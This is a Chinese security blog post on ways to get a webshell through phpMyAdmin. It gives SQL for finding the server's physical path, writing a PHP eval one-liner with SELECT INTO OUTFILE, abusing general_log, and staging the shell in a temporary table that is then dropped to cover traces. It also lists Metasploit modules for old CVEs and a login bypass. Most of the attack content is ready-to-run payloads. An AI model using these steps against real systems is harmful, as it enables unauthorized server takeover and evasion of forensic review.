目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录
目录
1099 字
5 分钟
phpMyadmin的Getshell思路
phpMyadmin的Getshell思路
1phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库。phpMyadmin简介
1phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库。信息收集
此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell
物理路径
- 查询数据库存储路径来推测网站物理路径,也可以通过log变量得到
1select @@datadir;
- 配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
1# Windows2c:windowsphp.ini # php配置文件3c:windowssystem32inetsrvMetaBase.xml # IIS虚拟主机配置文件1# Linux2/etc/php.ini # php配置文件3/etc/httpd/conf.d/php.conf4/etc/httpd/conf/httpd.conf # Apache配置文件5/usr/local/apache/conf/httpd.conf6/usr/local/apache2/conf/httpd.conf7/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件- 单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。www.abc.com/index.php?id=1’
- 错误参数值爆路径:尝试将要提交的参数值改成错误值。www.abc.com/index.php?id=-1
- Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。www.abc.com/bg.jpg/x.php
- Google爆路径
1site:xxx.com warning2
3site:xxx.com "fatal error"- 测试文件爆路径
1www.xxx.com/test.php2www.xxx.com/ceshi.php3www.xxx.com/info.php4www.xxx.com/phpinfo.php5www.xxx.com/php_info.php6www.xxx.com/1.php- 其它
1/phpMyAdmin/libraries/selectlang.lib.php2/phpMyAdmin/darkblueorange/layout.inc.php3/phpmyadmin/themes/darkblue_orange/layout.inc.php4/phpMyAdmin/index.php?lang[]=15/phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=16/phpmyadmin/libraries/lect_lang.lib.php7
8/phpMyAdmin/phpinfo.php9/phpmyadmin/themes/darkblue_orange/layout.inc.php10/phpmyadmin/libraries/select_lang.lib.php11/phpmyadmin/libraries/mcrypt.lib.php其它信息
- phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
- 也可以通过SQL查询得到其它信息
1select version(); -- 查看数据库版本2select @@datadir; -- 查看数据库存储路径3show VARIABLES like '%char%'; -- 查看系统变量GetShell
前提条件
- 网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
- 读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效
1select @@secure_file_priv -- 查询secure_file_priv2
3-- secure_file_priv=NULL,禁止导入导出4
5-- secure_file_priv='',不限制导入导出6
7-- secure_file_priv=/path/,只能向指定目录导入导出8
9select load_file('c:/phpinfo.php'); -- 读取文件10
11select '123' into outfile 'c:/shell.php'; -- 写入文件常规GetShell
直接通过SQL查询写入shell
1-- 假设物理路径为 "G:phpStudyWWW"2
3select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
-
查询日志全局变量
- general_log:日志保存状态
- general_log_file:日志保存路径
1show variables like '%general%';2
3Variable_name Value4
5general_log OFF6
7general_log_file G:phpStudyMySQLdataFengSec.log-
开启日志保存并配置保存路径
1set global general_log = "ON"; -- 打开日志保存2
3set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接-
写shell
1select '<?php eval($_POST[pwd]); ?>;新表GetShell
-
进入一个数据库,新建数据表。
- 名字随意,这里为shell_table
- 字段数填1

-
添加字段
- 字段名任意,这里为xiaoma
- 字段类型为TEXT

-
在该表中点击插入,值为一句话木马
1<?php eval($_POST[pwd]); ?>
-
执行SQL查询,将该表中的内容导出到指定文件
1-- 假设物理路径为 "G:phpStudyWWW"2
3select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";
-
删除该表,抹除痕迹
1Drop TABLE IF EXISTS shell_table;-
以上步骤也可以通过MySQL语句执行
1Create TABLE shell_table (xiaoma text NOT NULL) -- 建表2
3Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入4
5select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出6
7Drop TABLE IF EXISTS shell_table; -- 删表特殊版本GetShell
CVE-2013-3238
- 影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
- 利用模块:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
- 影响版本:phpMyAdmin v3.5.2.2
- 利用模块:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin配置文件/config/config.inc.php存在命令执行
- 影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
- 利用模块:exploit/unix/webapp/phpmyadmin_config
弱口令&万能密码
- 弱口令:版本phpmyadmin2.11.9.2,直接root用户登陆,无需密码
- 万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@’@“则登录成功
phpMyadmin的Getshell思路
/posts/2021/06/phpmyadmin-getshell/ 部分信息可能已经过时
目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录